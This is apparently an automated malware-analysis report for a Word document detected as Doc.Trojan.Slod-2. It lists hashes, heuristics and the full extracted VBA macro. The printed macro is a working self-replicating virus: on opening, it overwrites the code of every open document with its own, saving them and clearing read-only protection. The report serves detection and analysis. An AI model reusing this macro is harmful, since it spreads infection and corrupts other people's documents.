Office (OLE) malware analysis — malicious · d155dc20f09ac9fb

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-12-16 19:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 6c6e3a0e75214d96de32dd84d324da84 SHA-1: 5cdccc10c9a23531d6d74912fd00231b21100529 SHA-256: d155dc20f09ac9fb5200d288d298eff917ee9dca81ea692fddeef0c4cd17e077

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample is a malicious OLE document containing a VBA macro that executes upon opening. The macro attempts to infect other documents by overwriting their content with its own code. The ClamAV detection 'Doc.Trojan.Slod-2' further confirms its malicious nature. No external network activity or specific payload delivery was observed.

Heuristics 3

ClamAV: Doc.Trojan.Slod-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Slod-2
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1561 bytes
SHA-256: `613e72294ae28cd9642fe076f344935f122e9c7a8f3a6760fe9eacc02479a647`
Detection ClamAV: Doc.Trojan.Slod-2 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Application.EnableCancelKey = wdCancelDisabled Options.VirusProtection = Yes Options.ConfirmConversions = Yes A = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) For B = 1 To Documents.Count If Documents.Item(B).ReadOnly = True Then SetAttr Documents.Item(B).FullName, vbNormal Documents.Item(B).Reload Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.CountOfLines Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.AddFromString A Documents.Item(B).SaveAs FileName:=Documents.Item(B).FullName SetAttr Documents.Item(B).FullName, vbReadOnly Documents.Item(B).Reload Else Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.CountOfLines Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.AddFromString A Documents.Item(B).SaveAs FileName:=Documents.Item(B).FullName End If Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.CountOfLines Documents.Item(B).Saved = True Next End Sub 'Dead Dolls By Lys Kovick

Open this report in the interactive analyzer, or submit your own file for analysis.